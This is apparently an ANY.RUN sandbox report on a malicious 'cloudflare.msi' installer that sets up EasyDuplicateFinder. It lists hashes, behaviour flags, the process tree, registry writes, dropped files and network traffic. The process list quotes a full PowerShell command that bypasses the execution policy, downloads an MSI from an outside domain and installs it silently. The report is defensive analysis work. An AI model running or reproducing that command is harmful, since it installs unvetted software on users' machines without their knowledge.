Malware analysis /cloudflare.msi Malicious activity | ANY.RUN

Add for printing

download:	/cloudflare.msi
Full analysis:	https://app.any.run/tasks/4d5aad03-147f-41fb-a30c-700789afdb2a
Verdict:	Malicious activity
Analysis date:	December 11, 2024, 02:34:07
OS:	Windows 10 Professional (build: 19045, 64 bit)
Tags:	generated-doc
Indicators:
MIME:	application/x-msi
File info:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: EasyDuplicateFinder, Author: Webminds, Inc., Keywords: Installer, Comments: This installer database contains the logic and data required to install EasyDuplicateFinder., Template: Intel;1033, Revision Number: {0A54C263-3378-4839-8B1F-E728530DE644}, Create Time/Date: Wed Dec 4 16:16:08 2024, Last Saved Time/Date: Wed Dec 4 16:16:08 2024, Number of Pages: 200, Number of Words: 10, Name of Creating Application: Windows Installer XML Toolset (3.14.1.8722), Security: 2
MD5:	5B4E1AE1818B630DAE4535EC96807462
SHA1:	D1AD62A4B640FEF1835A4D4DD54BFB4D6DDAAFFC
SHA256:	CDFCFFCEFF42C4134D2E41F0BDE414ABE7A4B7E0480C8F4294EBCA0B4AB9AF24
SSDEEP:	98304:vwk4n2oZGLOFHgZne3J19ifXMDO9nyUyIOtHLKR3Q5Ex/tdKzDWNXT8doffmZsLe:jop5VNkYGxQGD5H9a+StbOy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

Add for printing

MALICIOUS
- Bypass execution policy to execute commands
  - powershell.exe (PID: 6280)
SUSPICIOUS
- Manipulates environment variables
  - powershell.exe (PID: 6280)
- Starts process via Powershell
  - powershell.exe (PID: 6280)
- Reads the Windows owner or organization settings
  - msiexec.exe (PID: 2828)
- Process drops legitimate windows executable
  - msiexec.exe (PID: 2828)
- The process drops C-runtime libraries
  - msiexec.exe (PID: 2828)
- The process creates files with name similar to system file names
  - msiexec.exe (PID: 2828)
INFO
- An automatically generated document
  - powershell.exe (PID: 6280)
- Creates files or folders in the user directory
  - msiexec.exe (PID: 2828)
  - PDapp.exe (PID: 6452)
- Checks proxy server information
  - powershell.exe (PID: 6280)
- Executable content was dropped or overwritten
  - msiexec.exe (PID: 2828)
- The sample compiled with english language support
  - msiexec.exe (PID: 2828)
- Creates a software uninstall entry
  - msiexec.exe (PID: 2828)
- Create files in a temporary directory
  - PDapp.exe (PID: 6452)
- Reads the computer name
  - PDapp.exe (PID: 6452)
- Reads the machine GUID from the registry
  - PDapp.exe (PID: 6452)
- Checks supported languages
  - msiexec.exe (PID: 2828)
- Disables trace logs
  - powershell.exe (PID: 6280)
- The process uses the downloaded file
  - powershell.exe (PID: 6280)
- Manual execution by a user
  - msiexec.exe (PID: 6956)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.msi	\|	Microsoft Installer (100)

EXIF

FlashPix

CodePage:	Windows Latin 1 (Western European)
Title:	Installation Database
Subject:	EasyDuplicateFinder
Author:	Webminds, Inc.
Keywords:	Installer
Comments:	This installer database contains the logic and data required to install EasyDuplicateFinder.
Template:	Intel;1033
RevisionNumber:	{0A54C263-3378-4839-8B1F-E728530DE644}
CreateDate:	2024:12:04 16:16:08
ModifyDate:	2024:12:04 16:16:08
Pages:	200
Words:	10
Software:	Windows Installer XML Toolset (3.14.1.8722)
Security:	Read-only recommended

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

134

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2828

C:\WINDOWS\system32\msiexec.exe /V

C:\Windows\System32\msiexec.exe

services.exe

User:

SYSTEM

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows® installer

Version:

5.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll

3984

"C:\WINDOWS\system32\msiexec.exe" /i C:\Users\admin\AppData\Local\Temp\m.msi /qn

C:\Windows\System32\msiexec.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows® installer

Exit code:

Version:

5.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll

6280

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -command "invoke-webrequest 'https://www.kippertool.com/cloudflare.msi' -outfile ($env:temp + '\m.msi'); start-process 'msiexec.exe' -argumentlist ('/i ' + $env:TEMP + '\m.msi /qn') -wait"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\atl.dll

6288

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

6452

"C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\PDapp.exe"

C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\PDapp.exe

—

msiexec.exe

User:

admin

Company:

Adobe Systems Incorporated

Integrity Level:

MEDIUM

Description:

Adobe Application Manager

Version:

10.0.0.49

Modules

Images
c:\users\admin\appdata\local\programs\easyduplicatefinder\pdapp.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\user32.dll

6920

C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Windows\System32\rundll32.exe

—

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows host process (Rundll32)

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\imagehlp.dll

6956

"C:\Windows\System32\msiexec.exe"

C:\Windows\System32\msiexec.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows® installer

Exit code:

1639

Version:

5.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\msiexec.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\aclayers.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll

Add for printing

Total events

9 975

Read events

9 138

Write events

828

Delete events

Modification events


(PID) Process:	(2828) msiexec.exe	Key:	HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\RestartManager\Session0000
Operation:	write	Name:	Owner
Value: 0C0B0000AA621F3F754BDB01
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\RestartManager\Session0000
Operation:	write	Name:	SessionHash
Value: 0653520E501139FE83DE1C9FE223CB4075CF42FA068BC63A6D9EFF2384FA64FF
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_USERS\S-1-5-21-1693682860-607145093-2874071422-1001\SOFTWARE\Microsoft\RestartManager\Session0000
Operation:	write	Name:	Sequence
Value: 1
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Folders
Operation:	write	Name:	C:\Users\admin\AppData\Roaming\Microsoft\Installer\
Value:
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\634DBB79B743036D349A028A1FB6CA61
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\FBSDataBase.bak
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\BAB4F98607C4F1C0998EDB5E921CCF3B
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\FBSProxy.dll
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\576FF7C9D715355BE1827631723C9A4B
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\FBSWorker.ini
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\B5AA29DEA4E51521D087DD76207DAA50
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\sslcert.ini
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\5D523C79F92B0C83F9406815CAD4DBA1
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\ssleay32.dll
(PID) Process:	(2828) msiexec.exe	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-21-1693682860-607145093-2874071422-1001\Components\46D62616AFDCB0603DFCB7C28B437A4C
Operation:	write	Name:	A7D545146E407E242A9ADB692BC61BCF
Value: C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\alerts\delayed.htm

Add for printing

Executable files

Suspicious files

Text files

617

Unknown types

Dropped files

PID	Process	Filename		Type
6280	powershell.exe	C:\Users\admin\AppData\Local\Temp\m.msi		—
		MD5:—	SHA256:—
2828	msiexec.exe	C:\Windows\Installer\13c16f.msi		—
		MD5:—	SHA256:—
2828	msiexec.exe	C:\Windows\Temp\~DF413119CF2B2A4A08.TMP		binary
		MD5:A4AB1C076335542BC767C1875395FBF1	SHA256:192CF498EB15CE66B3B6CCE44FB089EA3741E7F101FF6208983D8A2A33BEE9AA
2828	msiexec.exe	C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\console\License,3.txt		text
		MD5:72937DBD9570EB6661403121A6413914	SHA256:E3F31E8147A3C59DAF8AC8C528EEF60999C1DFA80B8A67695266CE631661FADD
6280	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms		binary
		MD5:7F1CE1F64942718208F4516B3025A7E0	SHA256:19B16CB464BE2DD4214196C08CAF149FC280CF9F3E0044ED76654526E49A1732
2828	msiexec.exe	C:\Windows\Installer\MSIC4BA.tmp		binary
		MD5:4AE46A5AC0AE4903E6D1FBE399EA4464	SHA256:BA4A97031344DAA4CD45CFB13A61568CBFC9B45F007E22680CECBEF1C17C2155
2828	msiexec.exe	C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\console\images\sizer\ne-handle-dark.gif		image
		MD5:115F71B851C7F0B5F354CAA7B8DFFF15	SHA256:94CA663AB6B44C5DAFC43204248A7EDBE038F2FA33741E348C9A05F63AEB5AC1
2828	msiexec.exe	C:\Windows\Installer\inprogressinstallinfo.ipi		binary
		MD5:A4AB1C076335542BC767C1875395FBF1	SHA256:192CF498EB15CE66B3B6CCE44FB089EA3741E7F101FF6208983D8A2A33BEE9AA
2828	msiexec.exe	C:\Windows\Temp\~DF5207CA24C22DEC7E.TMP		gmc
		MD5:BF619EAC0CDF3F68D496EA9344137E8B	SHA256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
2828	msiexec.exe	C:\Users\admin\AppData\Local\Programs\EasyDuplicateFinder\console\index.html		html
		MD5:E2C8D0729892A4546BF82A581C3C62B1	SHA256:111FE56F37FAD3AA651168C37203F66729F3366D62F3F2D069B037DE25F4AC62

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
5064	SearchApp.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D	unknown	—	—	whitelisted
—	—	GET	200	23.48.23.156:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
—	—	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
—	—	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
5464	backgroundTaskHost.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D	unknown	—	—	whitelisted
7160	SIHClient.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
5064	SearchApp.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D	unknown	—	—	whitelisted
7160	SIHClient.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:137	—	—	—	whitelisted
3040	svchost.exe	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
4712	MoUsoCoreWorker.exe	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
5064	SearchApp.exe	104.126.37.139:443	www.bing.com	Akamai International B.V.	DE	whitelisted
5064	SearchApp.exe	192.229.221.95:80	ocsp.digicert.com	EDGECAST	US	whitelisted
—	—	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
—	—	23.48.23.156:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
—	—	184.30.21.171:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
1176	svchost.exe	20.190.160.14:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	NL	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	51.104.136.2 20.73.194.208 4.231.128.59	whitelisted
www.bing.com	104.126.37.139 104.126.37.131 104.126.37.128 2.23.209.179 2.23.209.187 2.23.209.140 2.23.209.130 2.23.209.182 2.23.209.185	whitelisted
ocsp.digicert.com	192.229.221.95	whitelisted
google.com	142.250.181.238	whitelisted
crl.microsoft.com	23.48.23.156 23.48.23.143	whitelisted
www.microsoft.com	184.30.21.171	whitelisted
login.live.com	20.190.160.14 20.190.160.20 40.126.32.133 40.126.32.76 40.126.32.138 20.190.160.17 40.126.32.72 40.126.32.134	whitelisted
go.microsoft.com	184.30.17.189	whitelisted
www.kippertool.com	188.114.96.3 188.114.97.3	unknown
arc.msn.com	20.199.58.43	whitelisted

Threats

No threats detected

Add for printing

No debug info

General Info

/cloudflare.msi

5B4E1AE1818B630DAE4535EC96807462

D1AD62A4B640FEF1835A4D4DD54BFB4D6DDAAFFC

CDFCFFCEFF42C4134D2E41F0BDE414ABE7A4B7E0480C8F4294EBCA0B4AB9AF24

98304:vwk4n2oZGLOFHgZne3J19ifXMDO9nyUyIOtHLKR3Q5Ex/tdKzDWNXT8doffmZsLe:jop5VNkYGxQGD5H9a+StbOy

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Bypass execution policy to execute commands

SUSPICIOUS

Manipulates environment variables

Starts process via Powershell

Reads the Windows owner or organization settings

Process drops legitimate windows executable

The process drops C-runtime libraries

The process creates files with name similar to system file names

INFO

An automatically generated document

Creates files or folders in the user directory

Checks proxy server information

Executable content was dropped or overwritten

The sample compiled with english language support

Creates a software uninstall entry

Create files in a temporary directory

Reads the computer name

Reads the machine GUID from the registry

Checks supported languages

Disables trace logs

The process uses the downloaded file

Manual execution by a user

Malware configuration

Static information

TRiD

EXIF

FlashPix

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings